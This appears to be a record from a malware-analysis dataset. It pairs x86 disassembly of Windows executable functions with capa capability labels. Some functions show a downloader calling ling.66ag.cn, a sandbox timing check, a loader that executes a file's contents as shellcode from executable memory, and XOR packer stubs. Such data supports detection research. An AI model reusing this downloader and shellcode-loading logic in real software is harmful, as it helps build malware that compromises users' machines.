joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b50
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43025b
push eax
mov eax, 0x10b0
mov dword fs:[0], esp
call fcn.00418f10
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x401c9b
push 0
push 0x80000000
push 0
push 0
push str.http:__ling.66ag.cn_32
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x401c94
lea eax, [ebp - 0xb8]
push eax
call fcn.00402530
mov dword [ebp - 4], 0
cmp dword [ebp - 0x60], 0
je 0x401c6b
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x10]
push ecx
push 0x1000
lea edx, [ebp - 0x10b8]
push edx
push edi
call esi
test eax, eax
je 0x401c27
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401c27
push 0
push eax
lea eax, [ebp - 0x10b8]
push eax
lea ecx, [ebp - 0xb8]
push ecx
call fcn.00401fd0
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10b8]
push eax
push edi
call esi
test eax, eax
jne 0x401bf3
lea esi, [ebp - 0xb4]
call fcn.00403960
test eax, eax
jne 0x401c6b
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xac]
lea ecx, [ebp + ecx - 0xb8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x401c59
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x401c6b
push 0
call fcn.00401910
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.00402670
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.004050c0
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401d70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12c
mov edi, eax
call ebx
call esi
sub eax, edi
sub eax, 0x12c
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push str.v4:_d_n
call fcn.0040a3e0
xor esi, edi
sub esi, edi
add esp, 0xc
cmp esi, 0x64
jle 0x401dc5
push str.sandbox____n
call fcn.0040a3e0
add esp, 4
jmp 0x401dcc
push 0xbb8
call ebx
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push str.C:UsersPublicDownloadswinx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0xa
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x14]
push ecx
push 0x80000002
mov dword [esp + 0x1c], 0x54464f53
mov dword [esp + 0x20], 0x45524157
mov dword [esp + 0x24], 0x42444f5c
mov word [esp + 0x28], 0x43
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401eef
push eax
call fcn.0040b620
add esp, 4
push eax
call fcn.0040a720
add esp, 4
mov esi, 0x1d
call fcn.0040a740
call fcn.0040a740
dec esi
jne 0x401eb0
push 4
push 0x1000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
call fcn.00401b50
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.00401cd0
call fcn.00401d70
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403a90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4300db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
mov dword [esp + 0xc], esi
push edi
cmp dword [ebx + 0x44], esi
je 0x403cb6
cmp byte [ebx + 0x49], 0
je 0x403cb6
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403c8e
lea eax, [esp + 0x50]
push eax
call fcn.00403490
mov dword [esp + 0x7c], esi
jmp 0x403af3
mov ebx, edx
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x54]
push edx
call fcn.00403690
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x84], 1
call fcn.00403690
mov edi, eax
mov byte [esp + 0x7c], 2
call fcn.004041e0
mov edx, dword [esp + 0x64]
mov esi, edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], edx
call fcn.004041e0
mov ecx, dword [ebx + 0x44]
mov edx, dword [ecx]
lea esi, [esp + 0x1c]
push esi
mov esi, dword [esp + 0x18]
add esi, dword [esp + 0x1c]
push esi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [edx + 0x18]
call eax
lea edi, [esp + 0x20]
mov esi, eax
mov byte [esp + 0x7c], 1
call fcn.004010c0
lea edi, [esp + 0x2c]
mov byte [esp + 0x7c], 0
call fcn.004010c0
mov eax, esi
sub eax, 0
je 0x403bb0
dec eax
je 0x403bb4
sub eax, 2
mov dword [esp + 0x7c], 0xffffffff
je 0x403c72
lea eax, [esp + 0x50]
push eax
call fcn.00401f00
xor al, al
mov ecx, dword [esp + 0x74]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebx + 0x49], 0
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x54]
push edx
call fcn.00403690
mov esi, eax
mov byte [esp + 0x7c], 3
call fcn.004041e0
mov ebx, dword [esp + 0x1c]
lea edi, [esp + 0x38]
sub ebx, eax
mov byte [esp + 0x7c], 0
call fcn.004010c0
test ebx, ebx
je 0x403c23
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x54]
push ecx
call fcn.00403690
mov byte [esp + 0x7c], 4
or dword [esp + 0x10], 1
mov esi, eax
call fcn.004041e0
mov edx, dword [ebp + 8]
mov ecx, dword [edx + 0x54]
push ecx
push ebx
push 1
push eax
call fcn.0040aa00
add esp, 0x10
mov byte [esp + 0xf], 1
cmp ebx, eax
jne 0x403c28
mov byte [esp + 0xf], 0
mov dword [esp + 0x7c], 0
test byte [esp + 0x10], 1
je 0x403c45
and dword [esp + 0x10], 0xfffffffe
lea edi, [esp + 0x44]
call fcn.004010c0
cmp byte [esp + 0xf], 0
jne 0x403c79
mov edx, dword [ebp + 8]
cmp byte [edx + 0x49], 0
je 0x403ca4
test ebx, ebx
jne 0x403af1
push ebx
lea eax, [ebx + 8]
lea edi, [esp + 0x54]
call fcn.00403560
mov ebx, dword [ebp + 8]
jmp 0x403af3
lea ecx, [esp + 0x50]
push ecx
jmp 0x403cb1
lea edx, [esp + 0x50]
push edx
mov dword [esp + 0x80], 0xffffffff
call fcn.00401f00
xor al, al
mov ecx, dword [esp + 0x74]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [esp + 0x50]
mov dword [esp + 0x7c], 0xffffffff
push eax
call fcn.00401f00
mov ecx, dword [esp + 0x74]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404090
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ffab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00405d30
push 0x18
push str.E:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_streambuf
mov dword [ebp - 4], 0
call fcn.004050b0
push eax
push 4
call fcn.00404fe0
mov edi, eax
add esp, 0x10
test edi, edi
je 0x404110
push ebx
call fcn.004054e0
mov dword [edi], eax
call fcn.004052f0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00405cc0
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x404105
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00405d00
pop ebx
jmp 0x404112
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c190
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f458]
jne 0x40c19a
repz ret
jmp fcn.0041ac20
Function at 0x402422
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x2001f
push 0
push str.REG_SZ
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x402472
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x200
push 0x40755e
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x40755e
call sub.shlwapi.dll_PathAddBackslashA
push str.explorer.exe
push 0x40755e
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push 0x40755e
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
push 0x407556
push 0x40754e
push 0x407546
push dword [ebp - 4]
call sub.KERNEL32.DLL_GetFileTime
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
leave
ret

Function at 0x4010f0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x40332c], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov eax, dword [ebp + 4]
mov dword [0x40319f], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401121
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40319f]
mov dword [ebp - 0x48], eax
mov eax, 0x401b7b
mov dword [ebp - 0x54], eax
mov ecx, 0x4030bd
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40319f]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403378], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403378]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4011d9
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4011cb
mov esp, ebp
ret
Function at 0x419282
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x419291
pop dword [ebp - 0x10]
mov eax, 0x419291
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x40720
push 0
mov eax, 0xbaeaf8a8
add eax, 0x45575970
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x52c1
mov edx, eax
mov ebx, 0x435400
add ebx, dword [ebp - 0x10]
mov esi, 0x5c254c45
add esi, 0x898ae593
xor dword [ebp - 0xc], 0xc17d7eb6
mov edi, dword [ebx]
add dword [ebp - 0xc], 0x77be8d1e
xor edi, esi
xor dword [ebp - 8], 0x6a12b2d2
mov dword [edx], edi
add dword [ebp - 0xc], ecx
add edx, 4
add ebx, 4
loop 0x4192df
add eax, 0x13dd7
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x7a5c1e7d
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x24f3258
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401e89
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x407440
call fcn.00402c14
mov edi, 0x94
mov eax, edi
call fcn.00402d70
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x409398], ecx
mov eax, dword [esi + 4]
mov dword [0x4093a4], eax
mov edx, dword [esi + 8]
mov dword [0x4093a8], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40939c], esi
cmp ecx, 2
je 0x401ee9
or esi, 0x8000
mov dword [0x40939c], esi
shl eax, 8
add eax, edx
mov dword [0x4093a0], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x401f24
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401f24
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401f3c
cmp eax, 0x20b
je 0x401f29
mov dword [ebp - 0x1c], esi
jmp 0x401f50
cmp dword [ecx + 0x84], 0xe
jbe 0x401f24
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x401f4a
cmp dword [ecx + 0x74], 0xe
jbe 0x401f24
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00402bc2
pop ecx
test eax, eax
jne 0x401f7c
cmp dword [0x409388], 1
jne 0x401f69
call fcn.00402377
push 0x1c
call fcn.00402200
push 0xff
call fcn.00402065
pop ecx
pop ecx
call fcn.00402b20
mov dword [ebp - 4], esi
call fcn.00402975
test eax, eax
jge 0x401f95
push 0x1b
call fcn.00401e64
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x409914], eax
call fcn.00402853
mov dword [0x409380], eax
call fcn.004027b1
test eax, eax
jge 0x401fbb
push 8
call fcn.00401e64
pop ecx
call fcn.0040257e
test eax, eax
jge 0x401fcc
push 9
call fcn.00401e64
pop ecx
push 1
call fcn.00402095
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x401fe2
push eax
call fcn.00401e64
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.00402521
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x402003
movzx eax, word [ebp - 0x40]
jmp 0x402006
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401028
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x402024
push edi
call fcn.004021c0
call fcn.004021e2
jmp 0x402056
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00402c4f
ret
Function at 0x4020ff
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x4093d8], esi
push edi
jne 0x40211f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x4093d4], esi
mov byte [0x4093d0], al
jne 0x402185
mov ecx, dword [0x409908]
test ecx, ecx
je 0x402166
mov eax, dword [0x409904]
sub eax, 4
cmp eax, ecx
jmp 0x40215f
mov eax, dword [eax]
test eax, eax
je 0x402151
call eax
mov eax, dword [0x409904]
sub eax, 4
cmp eax, dword [0x409908]
mov dword [0x409904], eax
jae 0x402149
mov eax, 0x40901c
mov esi, 0x409020
cmp eax, esi
mov edi, eax
jae 0x402185
mov eax, dword [edi]
test eax, eax
je 0x40217e
call eax
add edi, 4
cmp edi, esi
jb 0x402176
mov eax, 0x409024
mov esi, 0x409028
cmp eax, esi
mov edi, eax
jae 0x4021a4
mov eax, dword [edi]
test eax, eax
je 0x40219d
call eax
add edi, 4
cmp edi, esi
jb 0x402195
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4021be
push dword [ebp + 8]
mov dword [0x4093d8], 1
call fcn.00402065
pop ebp
ret

Function at 0x402200
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x409240]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x409108]
je 0x402235
inc eax
cmp eax, 0x13
jb 0x402226
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x409108]
jne 0x40235b
mov eax, dword [0x409388]
cmp eax, 1
je 0x402333
cmp eax, edx
jne 0x402265
cmp dword [0x409100], 1
je 0x402333
cmp ecx, 0xfc
je 0x40235b
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x40229b
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.00402f70
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.004031a0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4022cf
mov eax, edi
push eax
call fcn.004031a0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x407858
push edi
call fcn.00403070
add esp, 0x10
push edi
call fcn.004031a0
push dword [esi + 0x40910c]
mov ebx, eax
call fcn.004031a0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00402d70
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00402f70
push edi
push ebx
call fcn.00402f80
push 0x407838
push ebx
call fcn.00402f80
push dword [esi + 0x40910c]
push ebx
call fcn.00402f80
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00402e69
add esp, 0x2c
jmp 0x40235b
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40910c]
push dword [esi]
call fcn.004031a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.0040325c
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x402e69
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4094f4], ebx
push esi
push edi
jne 0x402ee9
push str.user32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x402f24
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x4094f4], eax
je 0x402f24
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x4094f8], eax
call esi
cmp dword [0x409398], 2
mov dword [0x4094fc], eax
jne 0x402ee9
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x409504], eax
je 0x402ee9
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x409500], eax
mov eax, dword [0x409500]
test eax, eax
je 0x402f2e
call eax
test eax, eax
je 0x402f15
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x409504]
test eax, eax
je 0x402f15
test byte [ebp - 8], 1
jne 0x402f2e
cmp dword [0x4093a4], 4
jb 0x402f28
or byte [ebp + 0x12], 0x20
jmp 0x402f4d
xor eax, eax
jmp 0x402f5d
or byte [ebp + 0x12], 4
jmp 0x402f4d
mov eax, dword [0x4094f8]
test eax, eax
je 0x402f4d
call eax
mov ebx, eax
test ebx, ebx
je 0x402f4d
mov eax, dword [0x4094fc]
test eax, eax
je 0x402f4d
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4094f4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4046ae
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4046dc
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4046e3
cmp ebx, dword [eax + 4]
jae 0x4046e3
xor eax, eax
jmp 0x4048d3
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4046f4
xor eax, eax
inc eax
jmp 0x4048d2
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40470a
cmp ecx, edx
jae 0x40484f
cmp dword [eax + 4], 0
je 0x404713
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4046fb
cmp dword [ebp + 8], 0
je 0x404735
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40484f
cmp eax, esi
jae 0x40484f
mov eax, dword [0x409510]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40475a
cmp dword [esi*4 + 0x409518], edi
je 0x404853
inc esi
cmp esi, eax
jl 0x404748
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x4048cf
cmp dword [ebp - 8], 0x1000000
jne 0x4048cf
test byte [ebp - 0xc], 0xcc
je 0x4047d8
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4048cf
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4048cf
cmp word [eax + 0x18], 0x10b
jne 0x4048cf
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4048cf
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x4047d8
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x4047d8
test byte [ecx + 0x27], 0x80
jne 0x40484f
push 1
push 0x409558
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
test eax, eax
jne 0x4046ec
mov ecx, dword [0x409510]
test ecx, ecx
mov edx, ecx
jle 0x40480c
lea eax, [ecx*4 + 0x409514]
cmp dword [eax], edi
je 0x40480c
dec edx
sub eax, 4
test edx, edx
jg 0x404800
test edx, edx
jne 0x40483d
push 0xf
pop ebx
cmp ecx, ebx
jg 0x404819
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x404831
lea eax, [edx*4 + 0x409518]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40481f
cmp ecx, 0x10
jge 0x40483d
inc ecx
mov dword [0x409510], ecx
push 0
push 0x409558
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
jmp 0x4046ec
xor eax, eax
jmp 0x4048d2
test esi, esi
jle 0x4046ec
mov ebx, dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
push 1
push 0x409558
call ebx
test eax, eax
jne 0x4046ec
cmp dword [esi*4 + 0x409518], edi
je 0x4048a9
mov eax, dword [0x409510]
lea esi, [eax - 1]
test esi, esi
jl 0x404897
cmp dword [esi*4 + 0x409518], edi
je 0x404893
dec esi
jns 0x404887
test esi, esi
jge 0x4048a7
cmp eax, 0x10
jge 0x4048a2
inc eax
mov dword [0x409510], eax
lea esi, [eax - 1]
jmp 0x4048a9
je 0x4048c1
xor ecx, ecx
test esi, esi
jl 0x4048c1
lea eax, [ecx*4 + 0x409518]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4048af
push 0
push 0x409558
call ebx
jmp 0x4046ec
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret